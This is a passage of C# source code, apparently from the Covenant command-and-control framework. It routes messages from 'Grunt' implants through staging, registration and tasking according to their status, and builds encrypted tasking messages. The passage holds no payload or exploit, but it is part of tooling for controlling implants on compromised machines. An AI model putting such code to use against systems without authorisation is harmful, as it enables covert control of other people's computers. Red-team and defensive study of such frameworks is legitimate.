Covenant.Models.Grunts.Grunt.GruntStatus.Stage1: return(this.PostStage2(egressGrunt, targetGrunt, message)); case Covenant.Models.Grunts.Grunt.GruntStatus.Stage2: return(this.RegisterGrunt(egressGrunt, targetGrunt, message)); case Covenant.Models.Grunts.Grunt.GruntStatus.Active: return(this.PostTask(egressGrunt, targetGrunt, message)); default: return(NotFound()); } } }
private Models.Grunts.GruntEncryptedMessage CreateMessageForGrunt(API.Models.Grunt grunt, API.Models.Grunt targetGrunt, string taskingMessage) { return(this.CreateMessageForGrunt(grunt, targetGrunt, Common.CovenantEncoding.GetBytes(taskingMessage))); }